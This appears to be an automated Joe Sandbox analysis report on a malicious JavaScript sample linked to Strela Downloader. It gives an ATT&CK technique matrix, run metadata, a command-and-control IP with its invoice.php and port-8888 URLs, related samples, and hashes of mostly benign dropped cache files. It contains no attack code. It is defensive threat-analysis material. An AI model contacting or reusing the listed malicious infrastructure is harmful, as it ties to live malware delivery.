Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9191198332977923109.js	5%	Virustotal		Browse
9191198332977923109.js	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3363209846.000002BDFD800000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2141332059.000002BDFD6A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2142308228.00000279433ED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2139973001.000002794340C000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587929
Start date and time:	2025-01-10 19:31:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9191198332977923109.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 52.6.155.20, 3.233.129.217, 3.219.243.226, 2.23.242.162, 162.159.61.3, 172.64.41.3, 199.232.214.172, 23.209.209.135, 2.16.168.105, 2.16.168.125, 2.16.168.107, 13.107.246.45, 172.202.163.200, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:32:29	API Interceptor	21x Sleep call for process: powershell.exe modified
13:32:33	API Interceptor	1x Sleep call for process: net.exe modified
13:32:33	API Interceptor	2x Sleep call for process: svchost.exe modified
13:32:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307024053307874
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugP:gJjJGtpTq2yv1AuNZRY3diu8iBVqFN
MD5:	8A4B4844EDDB0C06011035E686C7FD9B
SHA1:	1403CA64D8C5CB49471A0F5A802F40BA8D13B5BA
SHA-256:	33F196CDB6A5EAB69EF5417C3F4B79B9D714845F0DC797FE30A6150D7764D012
SHA-512:	F34DAC4A723CB9CDFC98636E156DBDF7FFFFB0CB651710D9C23FE3A3B16FD7F62305C84D01528546B107A15DDEF06E2DE43268ECEDF9AF79B6E4CE805ABA5052
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xef6cc2b3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585842339290396
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	E271D183A53194D8E20C85473457B252
SHA1:	04726E6A2CDB58B40BF1E38301B62A95C9E935CC
SHA-256:	A9FB0262B9EBE7D71593DD61664D27DEBD307F288890B92EB6E41D523AF795B2
SHA-512:	188B85C8573BE188582BCCF4DCED7A6CA4F9E9846CB6C26DCC290E9943E5E2862675EAB48E4F60A718A9FAE7712EA40BEDA4075557B36CD266A13A18B8C8DA50
Malicious:	false
Preview:	.l.... ...............X\...;...{......................0.z..........{..! ...}S.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................q.! ...}s....................! ...}s..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08080842158435073
Encrypted:	false
SSDEEP:	3:L3GlKYezGYWrhGkGuAJkhvekl1KrMYWZillrekGltll/SPj:DyKzzGY4rxlUrMYkGJe3l
MD5:	7D2F6DA1B8619D21EA9E26DCA469AA78
SHA1:	2DE1859A3AD85FEB9650B6C3299B5A6A582630DF
SHA-256:	6540F7BDE694C2963C8BCDE198360C2A14A245E3AAEBDFABEF11C127C18A01D0
SHA-512:	122A63A19A9A284B5A22E57FF3763B76747D0C4A45DCB0FEB3D3883CF5251CD65A56C83E2EFA3E9797058737BD3FA121614557AA1E6F8726A13214949A247FA8
Malicious:	false
Preview:	.G)......................................;...{..! ...}s......{...............{.......{...XL......{.....................! ...}s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.151633302175682
Encrypted:	false
SSDEEP:	6:iO45UC+q2P92nKuAl9OmbnIFUtSuKWZmwsdrVkwO92nKuAl9OmbjLJ:7+r+v4HAahFUtRKW/WrV5LHAaSJ
MD5:	79E9278DC350FEFC853511401E8F07AB
SHA1:	30EBB4F3403660653EA3AD0688ED0C1C29C45531
SHA-256:	B5D04A7D9AF92B30E1EE84C61C1996B12FC18409B013EF51EEFA84CD0F888630
SHA-512:	7C399D2518730D7FE28A42FB06EE155BECBF73164BDCA3DFCA514069C0B2672A18C5F1EF941B1FDB7D2447E3D417B9AB8501AA82097DAED626C73F0AC9F7082C
Malicious:	false
Preview:	2025/01/10-13:32:33.565 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:32:33.568 1c5c Recovering log #3.2025/01/10-13:32:33.569 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.151633302175682
Encrypted:	false
SSDEEP:	6:iO45UC+q2P92nKuAl9OmbnIFUtSuKWZmwsdrVkwO92nKuAl9OmbjLJ:7+r+v4HAahFUtRKW/WrV5LHAaSJ
MD5:	79E9278DC350FEFC853511401E8F07AB
SHA1:	30EBB4F3403660653EA3AD0688ED0C1C29C45531
SHA-256:	B5D04A7D9AF92B30E1EE84C61C1996B12FC18409B013EF51EEFA84CD0F888630
SHA-512:	7C399D2518730D7FE28A42FB06EE155BECBF73164BDCA3DFCA514069C0B2672A18C5F1EF941B1FDB7D2447E3D417B9AB8501AA82097DAED626C73F0AC9F7082C
Malicious:	false
Preview:	2025/01/10-13:32:33.565 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:32:33.568 1c5c Recovering log #3.2025/01/10-13:32:33.569 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.135216858829444
Encrypted:	false
SSDEEP:	6:iO4aGSDM+q2P92nKuAl9Ombzo2jMGIFUtS4VgZmwseVDMVkwO92nKuAl9Ombzo23:7ZM+v4HAa8uFUtRS/DMV5LHAa8RJ
MD5:	A954C3A0F62EC8841F7FCFF88B0B8BAC
SHA1:	3C1830F52CC9A3083CA4DB381E9A118EF8BC7B84
SHA-256:	7D913AA9FD4D7BEAFC2050FE47A169A2FE07835AE5998A496B548C24B3D84A76
SHA-512:	0F271511469C145A07CEB0193204BC13D10E14711531A10CDE8192015703AA359C15A16911BAD4092C5A1E0B73E7675C7D5C4D7E6D537E3B017BFAC0344451CD
Malicious:	false
Preview:	2025/01/10-13:32:33.647 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:32:33.650 1cfc Recovering log #3.2025/01/10-13:32:33.652 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.135216858829444
Encrypted:	false
SSDEEP:	6:iO4aGSDM+q2P92nKuAl9Ombzo2jMGIFUtS4VgZmwseVDMVkwO92nKuAl9Ombzo23:7ZM+v4HAa8uFUtRS/DMV5LHAa8RJ
MD5:	A954C3A0F62EC8841F7FCFF88B0B8BAC
SHA1:	3C1830F52CC9A3083CA4DB381E9A118EF8BC7B84
SHA-256:	7D913AA9FD4D7BEAFC2050FE47A169A2FE07835AE5998A496B548C24B3D84A76
SHA-512:	0F271511469C145A07CEB0193204BC13D10E14711531A10CDE8192015703AA359C15A16911BAD4092C5A1E0B73E7675C7D5C4D7E6D537E3B017BFAC0344451CD
Malicious:	false
Preview:	2025/01/10-13:32:33.647 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:32:33.650 1cfc Recovering log #3.2025/01/10-13:32:33.652 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.056669321074924
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQUusBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRds8dMHK3QYhbxP7nbI+
MD5:	22341FBEAC394C6DBB5039D43D72C5BF
SHA1:	8C4605A6C3DB8FD1973A971B5F8DA962ABE2BF26
SHA-256:	21D8554FCE851B4FDEAB27A3EE7A0F6818A7A4C357345BDD58DDC1FF36053BBA
SHA-512:	38AA25C6E1C9FD86351BC351F4E91D3C9861FC3AA87B321EA57F3FBDAD4B486ADD2B0F55B78D2AAE6EEC4D284435BB72FA9CFFB5416F1267D9F53B44B55D11A5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093966188020","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128172},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\efc2d529-032b-48ec-b98d-0609e0063b40.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.056669321074924
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQUusBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRds8dMHK3QYhbxP7nbI+
MD5:	22341FBEAC394C6DBB5039D43D72C5BF
SHA1:	8C4605A6C3DB8FD1973A971B5F8DA962ABE2BF26
SHA-256:	21D8554FCE851B4FDEAB27A3EE7A0F6818A7A4C357345BDD58DDC1FF36053BBA
SHA-512:	38AA25C6E1C9FD86351BC351F4E91D3C9861FC3AA87B321EA57F3FBDAD4B486ADD2B0F55B78D2AAE6EEC4D284435BB72FA9CFFB5416F1267D9F53B44B55D11A5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093966188020","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128172},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237844445967209
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUMo8Iw:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLV
MD5:	832913B866F4DA7802FCEF18BE05F700
SHA1:	93CD7677769B4D0B9DB8A83012873C7E4AC067AC
SHA-256:	2CF611856A03FB9044BD69D73137FED6DCD6B715AE6FF3391773308A00296FB5
SHA-512:	3C67EE3D7E8C3A5DF4821B7831AFB3E9AE7657BA6CF02C665B60128A02FA22691DD3BE547F6AE9BB3ED9D419AE06211F86CE0233CC6A9EF6B23A998815A59A74
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.141362432852327
Encrypted:	false
SSDEEP:	6:iO4xbtDM+q2P92nKuAl9OmbzNMxIFUtSxzgZmwsxzDMVkwO92nKuAl9OmbzNMFLJ:7yM+v4HAa8jFUtP/wMV5LHAa84J
MD5:	F68C774D30A6E5A2F3AA281220AEA48C
SHA1:	57BB3270DB1C179263AC1D0827DF9A4B4344F0DF
SHA-256:	A6DC7E81F38291C544B50F0CED0CE7B7149031A1303966C5C38AD0D7819860D3
SHA-512:	F402AE2C268D84CC326AED8D3D9652A4C15394194110B69F718B7FEBD8776F0975A99813B6809795B6C4BAE1051E5C29CFBC891F8868B9ABEA497EAD36106100
Malicious:	false
Preview:	2025/01/10-13:32:33.914 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:32:33.916 1cfc Recovering log #3.2025/01/10-13:32:33.916 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.141362432852327
Encrypted:	false
SSDEEP:	6:iO4xbtDM+q2P92nKuAl9OmbzNMxIFUtSxzgZmwsxzDMVkwO92nKuAl9OmbzNMFLJ:7yM+v4HAa8jFUtP/wMV5LHAa84J
MD5:	F68C774D30A6E5A2F3AA281220AEA48C
SHA1:	57BB3270DB1C179263AC1D0827DF9A4B4344F0DF
SHA-256:	A6DC7E81F38291C544B50F0CED0CE7B7149031A1303966C5C38AD0D7819860D3
SHA-512:	F402AE2C268D84CC326AED8D3D9652A4C15394194110B69F718B7FEBD8776F0975A99813B6809795B6C4BAE1051E5C29CFBC891F8868B9ABEA497EAD36106100
Malicious:	false
Preview:	2025/01/10-13:32:33.914 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:32:33.916 1cfc Recovering log #3.2025/01/10-13:32:33.916 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

